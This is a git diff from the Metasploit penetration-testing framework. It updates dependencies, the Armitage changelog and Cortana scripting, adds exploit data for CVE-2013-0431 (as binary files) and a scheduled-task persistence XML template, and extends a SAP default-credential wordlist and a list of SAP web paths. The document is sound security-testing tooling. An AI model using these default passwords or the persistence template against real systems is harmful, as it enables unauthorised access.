diff --git a/.simplecov b/.simplecov new file mode 100644 index 0000000000..e8c1b367cf --- /dev/null +++ b/.simplecov @@ -0,0 +1,58 @@ +# RM_INFO is set when using Rubymine. In Rubymine, starting SimpleCov is +# controlled by running with coverage, so don't explicitly start coverage (and +# therefore generate a report) when in Rubymine. This _will_ generate a report +# whenever `rake spec` is run. +unless ENV['RM_INFO'] + SimpleCov.start +end + +SimpleCov.configure do + # ignore this file + add_filter '.simplecov' + + # + # Changed Files in Git Group + # @see http://fredwu.me/post/35625566267/simplecov-test-coverage-for-changed-files-only + # + + untracked = `git ls-files --exclude-standard --others` + unstaged = `git diff --name-only` + staged = `git diff --name-only --cached` + all = untracked + unstaged + staged + changed_filenames = all.split("\n") + + add_group 'Changed' do |source_file| + changed_filenames.detect { |changed_filename| + source_file.filename.end_with?(changed_filename) + } + end + + # + # Framework (msf) related groups + # + + add_group 'Metasploit Framework', 'lib/msf' + add_group 'Metasploit Framework (Base)', 'lib/msf/base' + add_group 'Metasploit Framework (Core)', 'lib/msf/core' + + # + # Other library groups + # + + add_group 'Fastlib', 'lib/fastlib' + add_group 'Metasm', 'lib/metasm' + add_group 'PacketFu', 'lib/packetfu' + add_group 'Rex', 'lib/rex' + add_group 'RKelly', 'lib/rkelly' + add_group 'Ruby Mysql', 'lib/rbmysql' + add_group 'Ruby Postgres', 'lib/postgres' + add_group 'SNMP', 'lib/snmp' + add_group 'Zip', 'lib/zip' + + # + # Specs are reported on to ensure that all examples are being run and all + # lets, befores, afters, etc are being used. + # + + add_group 'Specs', 'spec' +end diff --git a/.travis.yml b/.travis.yml index 6b74b25154..b091d3aaa6 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,4 +1,8 @@ language: ruby +before_install: + - sudo apt-get update -qq + - sudo apt-get install -qq libpcap-dev + rvm: #- '1.8.7' - '1.9.3' diff --git a/Gemfile b/Gemfile index 52d2e44c51..251808c2a5 100755 --- a/Gemfile +++ b/Gemfile @@ -4,10 +4,20 @@ source 'http://rubygems.org' gem 'activesupport', '>= 3.0.0' # Needed for Msf::DbManager gem 'activerecord' +# Needed for some admin modules (scrutinizer_add_user.rb) +gem 'json' # Database models shared between framework and Pro. -gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.3.0' +gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.6.0' +# Needed by msfgui and other rpc components +gem 'msgpack' +# Needed by anemone crawler +gem 'nokogiri' # Needed for module caching in Mdm::ModuleDetails gem 'pg', '>= 0.11' +# Needed by anemone crawler +gem 'robots' +# For sniffer and raw socket modules +gem 'pcaprub' group :development do # Markdown formatting for yard diff --git a/Gemfile.lock b/Gemfile.lock index 3f4ffb72e0..c16a1cca2f 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,10 +1,10 @@ GIT remote: git://github.com/rapid7/metasploit_data_models.git - revision: 73f26789500f278dd6fd555e839d09a3b81a05f4 - tag: 0.3.0 + revision: 0285d6e199f125b33214100dcb0f4eeb12ee765f + tag: 0.6.0 specs: - metasploit_data_models (0.3.0) - activerecord + metasploit_data_models (0.6.0) + activerecord (>= 3.2.10) activesupport pg pry @@ -12,31 +12,36 @@ GIT GEM remote: http://rubygems.org/ specs: - activemodel (3.2.9) - activesupport (= 3.2.9) + activemodel (3.2.12) + activesupport (= 3.2.12) builder (~> 3.0.0) - activerecord (3.2.9) - activemodel (= 3.2.9) - activesupport (= 3.2.9) + activerecord (3.2.12) + activemodel (= 3.2.12) + activesupport (= 3.2.12) arel (~> 3.0.2) tzinfo (~> 0.3.29) - activesupport (3.2.9) + activesupport (3.2.12) i18n (~> 0.6) multi_json (~> 1.0) arel (3.0.2) builder (3.0.4) - coderay (1.0.8) + coderay (1.0.9) diff-lcs (1.1.3) - i18n (0.6.1) + i18n (0.6.4) + json (1.7.7) method_source (0.8.1) + msgpack (0.5.2) multi_json (1.0.4) + nokogiri (1.5.6) + pcaprub (0.11.3) pg (0.14.1) - pry (0.9.10) + pry (0.9.12) coderay (~> 1.0.5) method_source (~> 0.8) - slop (~> 3.3.1) + slop (~> 3.4) rake (10.0.2) redcarpet (2.2.2) + robots (0.10.1) rspec (2.12.0) rspec-core (~> 2.12.0) rspec-expectations (~> 2.12.0) @@ -49,8 +54,8 @@ GEM multi_json (~> 1.0.3) simplecov-html (~> 0.5.3) simplecov-html (0.5.3) - slop (3.3.3) - tzinfo (0.3.35) + slop (3.4.3) + tzinfo (0.3.36) yard (0.8.3) PLATFORMS @@ -59,10 +64,15 @@ PLATFORMS DEPENDENCIES activerecord activesupport (>= 3.0.0) + json metasploit_data_models! + msgpack + nokogiri + pcaprub pg (>= 0.11) rake redcarpet + robots rspec (>= 2.12) simplecov (= 0.5.4) yard diff --git a/Rakefile b/Rakefile index a365eedfb9..d32e9352cb 100644 --- a/Rakefile +++ b/Rakefile @@ -16,11 +16,16 @@ namespace :yard do '-', 'COPYING', 'HACKING', - 'THIRD-PARTY.md' + 'LICENSE', + 'CONTRIBUTING.md', ] yard_options = [ # include documentation for protected methods for developers extending the code. - '--protected' + '--protected', + # Don't bother with files meant to be examples + '--exclude', 'samples/', + '--exclude', '\.ut\.rb/', + '--exclude', '\.ts\.rb/', ] YARD::Rake::YardocTask.new(:doc) do |t| diff --git a/data/armitage/armitage.jar b/data/armitage/armitage.jar index 153f8f95c0..143b587e24 100755 Binary files a/data/armitage/armitage.jar and b/data/armitage/armitage.jar differ diff --git a/data/armitage/cortana.jar b/data/armitage/cortana.jar index 94bebc6eac..8035ff663c 100644 Binary files a/data/armitage/cortana.jar and b/data/armitage/cortana.jar differ diff --git a/data/armitage/whatsnew.txt b/data/armitage/whatsnew.txt index c1e03e579b..01a4364bfc 100755 --- a/data/armitage/whatsnew.txt +++ b/data/armitage/whatsnew.txt @@ -1,6 +1,58 @@ Armitage Changelog ================== +6 Mar 13 (tested against msf ca43900a7) +-------- +- Active console now gets higher priority when polling msf for output +- Improved team server responsiveness in high latency situations by + creating additional connections to server to balance messages over +- Preferences are now shared among each Armitage connection. + +6 Mar 13 (2000h) +-------- +- Fixed issue with additional team server connections reporting wrong + application and receiving a summary rejection by the team server. + +Cortana Updates (for scripters) +-------- +- Added a &publish, &query, &subscribe API to allow inter-script + communication across the team server. +- Added &table_update to set the contents of a table tab without + disturbing the highlighted rows. +- Added an exec_error event. Fired when &m_exec or &m_exec_local fail + due to an error reported by meterpreter. +- Fixed a bug that sometimes caused session_sync to fire twice (boo!) +- Added a 60s timeout to &s_cmd commands. Cortana will give a shell + command 60s to execute. If it doesn't finish in that time, Cortana + will release the lock on the shell so the user can control it. + (ideally, this shouldn't happen... this is a safety mechanism) +- Changed Meterpreter command timeout to 2m from 12s. This is because + https meterpreter might not checkin for up to 60s, if it's been + idle for a long time. This will make &m_cmd less likely to timeout + +12 Feb 13 (tested against msf 16438) +--------- +- Fixed a corner case preventing the display of removed host labels + when connected to a team server. +- Fixed RPC call cache corruption in team server mode. This bug could + lead to some exploits defaulting to a shell payload when meterpreter + was a possibility. +- Slight optimization to some DB queries. I no longer pull unused + fields making the query marginally faster. Team server is more + efficient too as changes to unused fields won't force data (re)sync. +- Hosts -> Clear Database now clears host labels too. +- Added the ability to manage multiple team server instances through + Armitage. Go to Armitage -> New Connection to connect to another + server. A button bar will appear that allows you to switch active + Armitage connections. + - Credentials available across instances are pooled when using + the [host] -> Login menu and the credential helper. +- Rewrote the event log management code in the team server +- Added nickname tab completion to event log. I feel like I'm writing + an IRC client again. +- Hosts -> Clear Database now asks you to confirm the action. +- Hosts -> Import Hosts announces successful import to event log again. + 23 Jan 13 (tested against msf 16351) --------- - Added helpers to set EXE::Custom and EXE::Template options. diff --git a/data/exploits/cve-2013-0431/B.class b/data/exploits/cve-2013-0431/B.class new file mode 100755 index 0000000000..953d5408a7 Binary files /dev/null and b/data/exploits/cve-2013-0431/B.class differ diff --git a/data/exploits/cve-2013-0431/Exploit.class b/data/exploits/cve-2013-0431/Exploit.class new file mode 100755 index 0000000000..f76c43d3e1 Binary files /dev/null and b/data/exploits/cve-2013-0431/Exploit.class differ diff --git a/data/exploits/cve-2013-0431/Exploit.ser b/data/exploits/cve-2013-0431/Exploit.ser new file mode 100755 index 0000000000..e20823fe43 Binary files /dev/null and b/data/exploits/cve-2013-0431/Exploit.ser differ diff --git a/data/exploits/docx/[Content_Types].xml b/data/exploits/docx/[Content_Types].xml new file mode 100644 index 0000000000..39a9cb897f --- /dev/null +++ b/data/exploits/docx/[Content_Types].xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/_rels/.rels b/data/exploits/docx/_rels/.rels new file mode 100644 index 0000000000..fdd8c4f371 --- /dev/null +++ b/data/exploits/docx/_rels/.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/docProps/app.xml b/data/exploits/docx/docProps/app.xml new file mode 100644 index 0000000000..1580fc2d1a --- /dev/null +++ b/data/exploits/docx/docProps/app.xml @@ -0,0 +1,2 @@ + +0103Microsoft Office Outlook000falsefalse0falsefalse12.0000 diff --git a/data/exploits/docx/word/_rels/document.xml.rels b/data/exploits/docx/word/_rels/document.xml.rels new file mode 100644 index 0000000000..0079d06931 --- /dev/null +++ b/data/exploits/docx/word/_rels/document.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/word/document.xml b/data/exploits/docx/word/document.xml new file mode 100644 index 0000000000..81ef41e2f8 --- /dev/null +++ b/data/exploits/docx/word/document.xml @@ -0,0 +1,2 @@ + + diff --git a/data/exploits/docx/word/fontTable.xml b/data/exploits/docx/word/fontTable.xml new file mode 100644 index 0000000000..20e9a398fe --- /dev/null +++ b/data/exploits/docx/word/fontTable.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/word/settings.xml b/data/exploits/docx/word/settings.xml new file mode 100644 index 0000000000..4692c237a8 --- /dev/null +++ b/data/exploits/docx/word/settings.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/word/styles.xml b/data/exploits/docx/word/styles.xml new file mode 100644 index 0000000000..4a084626fc --- /dev/null +++ b/data/exploits/docx/word/styles.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/word/theme/theme1.xml b/data/exploits/docx/word/theme/theme1.xml new file mode 100644 index 0000000000..a06c80529b --- /dev/null +++ b/data/exploits/docx/word/theme/theme1.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/word/webSettings.xml b/data/exploits/docx/word/webSettings.xml new file mode 100644 index 0000000000..b4a16977f7 --- /dev/null +++ b/data/exploits/docx/word/webSettings.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/s4u_persistence.xml b/data/exploits/s4u_persistence.xml new file mode 100644 index 0000000000..2d736d225e --- /dev/null +++ b/data/exploits/s4u_persistence.xml @@ -0,0 +1,50 @@ + + + + DATEHERE + USERHERE + + + + + PT60M + false + + DATEHERE + true + + + + + DOMAINHERE + S4U + LeastPrivilege + + + + Parallel + true + true + true + false + false + + PT10M + PT1H + true + false + + true + true + true + false + false + PT72H + 7 + + + + COMMANDHERE + + + \ No newline at end of file diff --git a/data/gui/msfgui.jar b/data/gui/msfgui.jar index 3fc94594f6..495e0ef217 100755 Binary files a/data/gui/msfgui.jar and b/data/gui/msfgui.jar differ diff --git a/data/sql/migrate/20110608113500_add_cred_file_table.rb b/data/sql/migrate/20110608113500_add_cred_file_table.rb deleted file mode 100755 index 9780e261e7..0000000000 --- a/data/sql/migrate/20110608113500_add_cred_file_table.rb +++ /dev/null @@ -1,20 +0,0 @@ -class AddCredFileTable < ActiveRecord::Migration - - def self.up - create_table :cred_files do |t| - t.integer :workspace_id, :null => false, :default => 1 - t.string :path, :limit => 1024 - t.string :ftype, :limit => 16 - t.string :created_by - t.string :name, :limit => 512 - t.string :desc, :limit => 1024 - - t.timestamps - end - end - - def self.down - drop_table :cred_files - end - -end diff --git a/data/sql/migrate/20110610085000_move_old_imported_creds_to_new_files.rb b/data/sql/migrate/20110610085000_move_old_imported_creds_to_new_files.rb deleted file mode 100755 index e057c2ca20..0000000000 --- a/data/sql/migrate/20110610085000_move_old_imported_creds_to_new_files.rb +++ /dev/null @@ -1,127 +0,0 @@ -class MoveOldImportedCredsToNewFiles < ActiveRecord::Migration - - class ImportedCred < ActiveRecord::Base - end - - class CredFile < ActiveRecord::Base - end - - class Workspace < ActiveRecord::Base - end - - class << self - - def find_or_create_cred_path - cred_files_dir = nil - msf_base = Msf::Config.install_root - pro_base = File.expand_path(File.join(msf_base, "..", "engine", "lib", "pro")) - if File.directory? pro_base - cred_files_dir = File.expand_path(File.join(msf_base, "..", "cred_files")) - FileUtils.mkdir_p(cred_files_dir) unless File.exists?(cred_files_dir) - if File.directory?(cred_files_dir) and File.writable?(cred_files_dir) - end - end - return cred_files_dir - end - - def find_all_imported_creds_by_workspace - valid_ptypes = ["smb_hash", "userpass", "password"] - valid_workspaces = Workspace.all.map {|w| w.id} - creds = {} - ImportedCred.all.each do |cred| - next unless cred.ptype - next unless valid_ptypes.include? cred.ptype - next unless cred.workspace_id - next unless valid_workspaces.include? cred.workspace_id - creds[cred.workspace_id] ||= [] - creds[cred.workspace_id] << cred - end - return creds - end - - def sort_creds_into_file_types(old_creds) - files = {} - old_creds.each do |wid,creds| - filedata = {} - creds.each do |cred| - filedata[cred.ptype] ||= [] - case cred.ptype - when "smb_hash", "userpass" - filedata[cred.ptype] << ("%s %s" % [cred.user,cred.pass]) - when "password" - filedata[cred.ptype] << cred.pass.to_s - end - files[wid] = filedata - end - end - return files - end - - def write_creds_to_files(old_creds,cred_path) - file_data_to_write = sort_creds_into_file_types(old_creds) - files_written = [] - file_data_to_write.each do |wid, fdata_hash| - fdata_hash.each do |ftype,cred_data| - next unless cred_data - next if cred_data.empty? - fname = File.join(cred_path,"creds_#{wid}_#{ftype}-#{Time.now.utc.to_i}.txt") - fdata = cred_data.join("\n") - fh = File.open(fname, "wb") - begin - fh.write fdata - fh.flush - ensure - fh.close - end - files_written << fname - end - end - return files_written - end - - def register_new_files(new_files) - successful_count = 0 - new_files.each do |fname| - next unless File.split(fname).last =~ /^creds_([0-9]+)_(userpass|password|smb_hash)\-[0-9]+\.txt$/ - wid = $1 - next unless Workspace.find(wid) - ftype = $2 - actual_ftype = case ftype - when "smb_hash", "userpass" - "userpass" # They're treated the same - when "password" - "pass" - end - next unless actual_ftype - say "Registering credential file '%s' for workspace %d as type '%s'" % [fname,wid,actual_ftype] - cred_file = CredFile.new - cred_file.workspace_id = wid - cred_file.created_by = "" - cred_file.path = fname - cred_file.name = "#{ftype}.txt" - cred_file.desc = "Migrated #{ftype} credentials" - cred_file.ftype = actual_ftype - if cred_file.save - successful_count += 1 - say "Successfully imported #{ftype} credentials for workspace #{wid}" - end - end - successful_count - end - - end - - def self.up - cred_path = find_or_create_cred_path - if cred_path - old_imported_creds = find_all_imported_creds_by_workspace - new_files = write_creds_to_files(old_imported_creds,cred_path) - successful_count = register_new_files(new_files) - end - end - - # Sorry, can't get the old data back. - def self.down - end - -end diff --git a/data/wordlists/sap_default.txt b/data/wordlists/sap_default.txt index dcd73dd49c..3f7a5321c3 100644 --- a/data/wordlists/sap_default.txt +++ b/data/wordlists/sap_default.txt @@ -6,9 +6,14 @@ SAPCPIC ADMIN EARLYWATCH SUPPORT TMSADM PASSWORD TMSADM ADMIN +TMSADM $1Pawd2& ADMIN welcome ADSUSER ch4ngeme ADS_AGENT ch4ngeme DEVELOPER ch4ngeme J2EE_ADMIN ch4ngeme SAPJSF ch4ngeme +SAPR3 SAP +CTB_ADMIN sap123 +XMI_DEMO sap123 + diff --git a/data/wordlists/sap_icm_paths.txt b/data/wordlists/sap_icm_paths.txt index 8477a17258..903a8a1843 100755 --- a/data/wordlists/sap_icm_paths.txt +++ b/data/wordlists/sap_icm_paths.txt @@ -93,11 +93,11 @@ /rwb/version.html /sap/admin /sap/bc/bsp/esh_os_service/favicon.gif -/sap/bc/bsp/sap +/sap/bc/bsp/sap /sap/bc/bsp/sap/alertinbox /sap/bc/bsp/sap/bsp_dlc_frcmp /sap/bc/bsp/sap/bsp_veri -/sap/bc/bsp/sap/bsp_verificatio +/sap/bc/bsp/sap/bsp_verificatio /sap/bc/bsp/sap/bsp_wd_base /sap/bc/bsp/sap/bspwd_basics /sap/bc/bsp/sap/certmap @@ -116,31 +116,46 @@ /sap/bc/bsp/sap/graph_bsp_test /sap/bc/bsp/sap/graph_bsp_test/Mimes /sap/bc/bsp/sap/gsbirp -/sap/bc/bsp/sap/htmlb_samples +/sap/bc/bsp/sap/hrrcf_wd_dovru +/sap/bc/bsp/sap/htmlb_samples /sap/bc/bsp/sap/iccmp_bp_cnfirm /sap/bc/bsp/sap/iccmp_hdr_cntnr /sap/bc/bsp/sap/iccmp_hdr_cntnt /sap/bc/bsp/sap/iccmp_header /sap/bc/bsp/sap/iccmp_ssc_ll/ /sap/bc/bsp/sap/ic_frw_notify -/sap/bc/bsp/sap/it00 -/sap/bc/bsp/sap/public/bc +/sap/bc/bsp/sap/it00 +/sap/bc/bsp/sap/it00/default.htm +/sap/bc/bsp/sap/it00/http_client.htm +/sap/bc/bsp/sap/it00/http_client_xml.htm +/sap/bc/bsp/sap/public/bc /sap/bc/bsp/sap/public/graphics /sap/bc/bsp/sap/sam_demo /sap/bc/bsp/sap/sam_notifying /sap/bc/bsp/sap/sam_sess_queue -/sap/bc/bsp/sap/sbspext_htmlb -/sap/bc/bsp/sap/sbspext_xhtmlb +/sap/bc/bsp/sap/sbspext_htmlb +/sap/bc/bsp/sap/sbspext_xhtmlb /sap/bc/bsp/sap/spi_admin /sap/bc/bsp/sap/spi_monitor /sap/bc/bsp/sap/sxms_alertrules -/sap/bc/bsp/sap/system +/sap/bc/bsp/sap/system /sap/bc/bsp/sap/thtmlb_scripts /sap/bc/bsp/sap/thtmlb_styles /sap/bc/bsp/sap/uicmp_ltx /sap/bc/bsp/sap/xmb_bsp_log /sap/bc/contentserver /sap/bc/echo +/sap/bc/erecruiting/applwzd +/sap/bc/erecruiting/confirmation_e +/sap/bc/erecruiting/confirmation_i +/sap/bc/erecruiting/dataoverview +/sap/bc/erecruiting/password +/sap/bc/erecruiting/posting_apply +/sap/bc/erecruiting/qa_email_e +/sap/bc/erecruiting/qa_email_i +/sap/bc/erecruiting/registration +/sap/bc/erecruiting/startpage +/sap/bc/erecruiting/verification /sap/bc/error /sap/bc/FormToRfc /sap/bc/graphics/net @@ -165,10 +180,36 @@ /sap/bc/webdynpro/sap/cnp_light_test /sap/bc/webdynpro/sap/configure_application /sap/bc/webdynpro/sap/configure_component -/sap/bc/webdynpro/sap/esh_admin_ui_component +/sap/bc/webdynpro/sap/esh_admin_ui_component /sap/bc/webdynpro/sap/esh_adm_smoketest_ui /sap/bc/webdynpro/sap/esh_eng_modelling /sap/bc/webdynpro/sap/esh_search_results.ui +/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_dovr_ui +/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_ind_ext +/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_ind_int +/sap/bc/webdynpro/sap/hrrcf_a_appls +/sap/bc/webdynpro/sap/hrrcf_a_applwizard +/sap/bc/webdynpro/sap/hrrcf_a_candidate_registration +/sap/bc/webdynpro/sap/hrrcf_a_candidate_verification +/sap/bc/webdynpro/sap/hrrcf_a_dataoverview +/sap/bc/webdynpro/sap/hrrcf_a_draft_applications +/sap/bc/webdynpro/sap/hrrcf_a_new_verif_mail +/sap/bc/webdynpro/sap/hrrcf_a_posting_apply +/sap/bc/webdynpro/sap/hrrcf_a_psett_ext +/sap/bc/webdynpro/sap/hrrcf_a_psett_int +/sap/bc/webdynpro/sap/hrrcf_a_pw_via_email_extern +/sap/bc/webdynpro/sap/hrrcf_a_pw_via_email_intern +/sap/bc/webdynpro/sap/hrrcf_a_qa_mss +/sap/bc/webdynpro/sap/hrrcf_a_refcode_srch +/sap/bc/webdynpro/sap/hrrcf_a_refcode_srch_int +/sap/bc/webdynpro/sap/hrrcf_a_req_assess +/sap/bc/webdynpro/sap/hrrcf_a_requi_monitor +/sap/bc/webdynpro/sap/hrrcf_a_substitution_admin +/sap/bc/webdynpro/sap/hrrcf_a_substitution_manager +/sap/bc/webdynpro/sap/hrrcf_a_tp_assess +/sap/bc/webdynpro/sap/hrrcf_a_unregemp_job_search +/sap/bc/webdynpro/sap/hrrcf_a_unreg_job_search +/sap/bc/webdynpro/sap/hrrcf_a_unverified_cand /sap/bc/webdynpro/sap/sh_adm_smoketest_files /sap/bc/webdynpro/sap/wd_analyze_config_appl /sap/bc/webdynpro/sap/wd_analyze_config_comp @@ -196,11 +237,12 @@ /sapmc/sapmc.html /sap/monitoring/ /sap/public/bc -/sap/public/bc /sap/public/bc/icons /sap/public/bc/icons_rtl +/sap/public/bc/its +/sap/public/bc/its/designs /sap/public/bc/its/mimes -/sap/public/bc/its/mimes/system/SL/page/hourglass.html +/sap/public/bc/its/mimes/system/SL/page/hourglass.html /sap/public/bc/its/mobile/itsmobile00 /sap/public/bc/its/mobile/itsmobile01 /sap/public/bc/its/mobile/rfid @@ -211,8 +253,9 @@ /sap/public/bc/pictograms /sap/public/bc/sicf_login_run /sap/public/bc/trex -/sap/public/bc/ur +/sap/public/bc/ur /sap/public/bc/wdtracetool +/sap/public/bc/webdynpro /sap/public/bc/webdynpro/adobechallenge /sap/public/bc/webdynpro/mimes /sap/public/bc/webdynpro/ssr @@ -220,16 +263,17 @@ /sap/public/bc/webicons /sap/public/bc/workflow /sap/public/bc/workflow/shortcut -/sap/public/bsp/sap -/sap/public/bsp/sap/htmlb -/sap/public/bsp/sap/public -/sap/public/bsp/sap/public/bc +/sap/public/bsp +/sap/public/bsp/sap +/sap/public/bsp/sap/htmlb +/sap/public/bsp/sap/public +/sap/public/bsp/sap/public/bc /sap/public/bsp/sap/public/faa /sap/public/bsp/sap/public/graphics /sap/public/bsp/sap/public/graphics/jnet_handler /sap/public/bsp/sap/public/graphics/mimes -/sap/public/bsp/sap/system -/sap/public/bsp/sap/system_public +/sap/public/bsp/sap/system +/sap/public/bsp/sap/system_public /sap/public/icf_check /sap/public/icf_info /sap/public/icf_info/icr_groups diff --git a/external/source/armitage/resources/about.html b/external/source/armitage/resources/about.html index e19056effa..4c44f1ed61 100644 --- a/external/source/armitage/resources/about.html +++ b/external/source/armitage/resources/about.html @@ -3,7 +3,7 @@

Armitage 1.45

An attack management tool for Metasploit® -
Release: 23 Jan 13

+
Release: 6 Mar 13


Developed by:

diff --git a/external/source/armitage/scripts-cortana/internal-ui.sl b/external/source/armitage/scripts-cortana/internal-ui.sl index 498646fe41..ae479f22f1 100644 --- a/external/source/armitage/scripts-cortana/internal-ui.sl +++ b/external/source/armitage/scripts-cortana/internal-ui.sl @@ -188,13 +188,24 @@ sub table_selected_single { # table_set($table, @rows) sub table_set { - local('$model $row'); - $model = [$1 getModel]; - [$model clear: size($2) * 2]; - foreach $row ($2) { - [$model addEntry: $row]; - } - [$model fireListeners]; + later(lambda({ + local('$model $row'); + $model = [$a getModel]; + [$model clear: size($b) * 2]; + foreach $row ($b) { + [$model addEntry: $row]; + } + [$model fireListeners]; + }, $a => $1, $b => $2)); +} + +# table_set($table, @rows) +sub table_update { + later(lambda({ + [$a markSelections]; + table_set($a, $b); + [$a restoreSelections]; + }, $a => $1, $b => $2)); } # table_sorter($table, index, &function); diff --git a/external/source/armitage/scripts-cortana/internal.sl b/external/source/armitage/scripts-cortana/internal.sl index c83929a79c..a3081bf304 100644 --- a/external/source/armitage/scripts-cortana/internal.sl +++ b/external/source/armitage/scripts-cortana/internal.sl @@ -9,6 +9,9 @@ import msf.*; # setg("varname", "value") sub setg { + if ($1 eq "LHOST") { + call_async("armitage.set_ip", $2); + } cmd_safe("setg $1 $2"); } @@ -580,6 +583,39 @@ sub data_add { call("db.key_add", $1, $data); } +# +# a publish/query/subscribe API +# + +# publish("key", $object) +sub publish { + local('$data'); + $data = [msf.Base64 encode: cast(pack("o", $2, 1), 'b')]; + call_async("armitage.publish", $1, "$data $+ \n"); +} + +# query("key", "index") +sub query { + local('$r @r $result'); + $r = call("armitage.query", $1, $2)['data']; + if ($r ne "") { + foreach $result (split("\n", $r)) { + push(@r, unpack("o", [msf.Base64 decode: $result])[0]); + } + } + return @r; +} + +# subscribe("key", "index", "1s/5s/10s/15s/30s/1m/5m/10m/15m/20m/30m/60m") +sub subscribe { + on("heartbeat_ $+ $3", lambda({ + local('$result'); + foreach $result (query($key, $index)) { + fire_event_local($key, $result, $index); + } + }, $key => $1, $index => $2)); +} + # # Shell shock? # @@ -831,7 +867,7 @@ sub m_exec { }, \$command, \$channel, \$buffer)); } else { - # this is probably ok... + fire_event_local("exec_error", $1, $command, ["$3" trim]); } }, \$command)); } diff --git a/external/source/armitage/scripts/armitage.sl b/external/source/armitage/scripts/armitage.sl index fe2af9a9ec..2df5fcf2a4 100644 --- a/external/source/armitage/scripts/armitage.sl +++ b/external/source/armitage/scripts/armitage.sl @@ -15,7 +15,7 @@ import graph.*; import java.awt.image.*; -global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS'); +global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS $DESCRIBE @CLOSEME @POOL'); sub describeHost { local('$desc'); @@ -164,14 +164,32 @@ sub _connectToMetasploit { $client = [new MsgRpcImpl: $3, $4, $1, long($2), $null, $debug]; $aclient = [new RpcAsync: $client]; $mclient = $client; + push(@POOL, $aclient); initConsolePool(); + $DESCRIBE = "localhost"; } # we have a team server... connect and authenticate to it. else { + [$progress setNote: "Connected: logging in"]; $client = c_client($1, $2); - setField(^msf.MeterpreterSession, DEFAULT_WAIT => 20000L); $mclient = setup_collaboration($3, $4, $1, $2); $aclient = $mclient; + + if ($mclient is $null) { + [$progress close]; + return; + } + else { + [$progress setNote: "Connected: authenticated"]; + } + + # create six additional connections to team server... for balancing consoles. + local('$x $cc'); + for ($x = 0; $x < 6; $x++) { + $cc = c_client($1, $2); + call($cc, "armitage.validate", $3, $4, $null, "armitage", 120326); + push(@POOL, $cc); + } } $flag = $null; } @@ -319,28 +337,23 @@ sub postSetup { } sub main { - local('$console $panel $dir'); + local('$console $panel $dir $app'); - $frame = [new ArmitageApplication]; + $frame = [new ArmitageApplication: $__frame__, $DESCRIBE, $mclient]; [$frame setTitle: $TITLE]; - [$frame setSize: 800, 600]; - + [$frame setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]]; init_menus($frame); initLogSystem(); - [$frame setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]]; - [$frame show]; - [$frame setExtendedState: [JFrame MAXIMIZED_BOTH]]; - # this window listener is dead-lock waiting to happen. That's why we're adding it in a # separate thread (Sleep threads don't share data/locks). fork({ - [$frame addWindowListener: { + [$__frame__ addWindowListener: { if ($0 eq "windowClosing" && $msfrpc_handle !is $null) { closef($msfrpc_handle); } }]; - }, \$msfrpc_handle, \$frame); + }, \$msfrpc_handle, \$__frame__); dispatchEvent({ if ($client !is $mclient) { @@ -371,7 +384,6 @@ sub checkDir { } } -setLookAndFeel(); checkDir(); if ($CLIENT_CONFIG !is $null && -exists $CLIENT_CONFIG) { diff --git a/external/source/armitage/scripts/collaborate.sl b/external/source/armitage/scripts/collaborate.sl index 4a2cc2959c..2f302c3837 100644 --- a/external/source/armitage/scripts/collaborate.sl +++ b/external/source/armitage/scripts/collaborate.sl @@ -23,6 +23,7 @@ sub createEventLogTab { $client = [$cortana getEventLog: $console]; [$client setEcho: $null]; [$console updatePrompt: "> "]; + [new EventLogTabCompletion: $console, $mclient]; } else { [$console updateProperties: $preferences]; @@ -63,6 +64,7 @@ sub c_client { # run this thing in its own thread to avoid really stupid deadlock situations local('$handle'); $handle = [[new SecureSocket: $1, int($2), &verify_server] client]; + push(@CLOSEME, $handle); return wait(fork({ local('$client'); $client = newInstance(^RpcConnection, lambda({ @@ -91,9 +93,11 @@ sub setup_collaboration { %r = call($mclient, "armitage.validate", $1, $2, $nick, "armitage", 120326); if (%r["error"] eq "1") { showErrorAndQuit(%r["message"]); + return $null; } %r = call($client, "armitage.validate", $1, $2, $null, "armitage", 120326); + $DESCRIBE = "$nick $+ @ $+ $3"; return $mclient; } diff --git a/external/source/armitage/scripts/gui.sl b/external/source/armitage/scripts/gui.sl index 7f7f155f88..d5dae2412b 100644 --- a/external/source/armitage/scripts/gui.sl +++ b/external/source/armitage/scripts/gui.sl @@ -95,13 +95,13 @@ sub dispatchEvent { sub showError { dispatchEvent(lambda({ - [JOptionPane showMessageDialog: $frame, $message]; + [JOptionPane showMessageDialog: $__frame__, $message]; }, $message => $1)); } sub showErrorAndQuit { - [JOptionPane showMessageDialog: $frame, $1]; - [System exit: 0]; + [JOptionPane showMessageDialog: $__frame__, $1]; + [$__frame__ closeConnect]; } sub ask { @@ -155,7 +155,7 @@ sub chooseFile { [$fc setFileSelectionMode: [JFileChooser DIRECTORIES_ONLY]]; } - [$fc showOpenDialog: $frame]; + [$fc showOpenDialog: $__frame__]; if ($multi) { return [$fc getSelectedFiles]; @@ -179,17 +179,18 @@ sub saveFile2 { [$fc setSelectedFile: [new java.io.File: $sel]]; } - [$fc showSaveDialog: $frame]; - $file = [$fc getSelectedFile]; - if ($file !is $null) { - return $file; + if ([$fc showSaveDialog: $__frame__] == 0) { + $file = [$fc getSelectedFile]; + if ($file !is $null) { + return $file; + } } } sub saveFile { local('$fc $file'); $fc = [new JFileChooser]; - [$fc showSaveDialog: $frame]; + [$fc showSaveDialog: 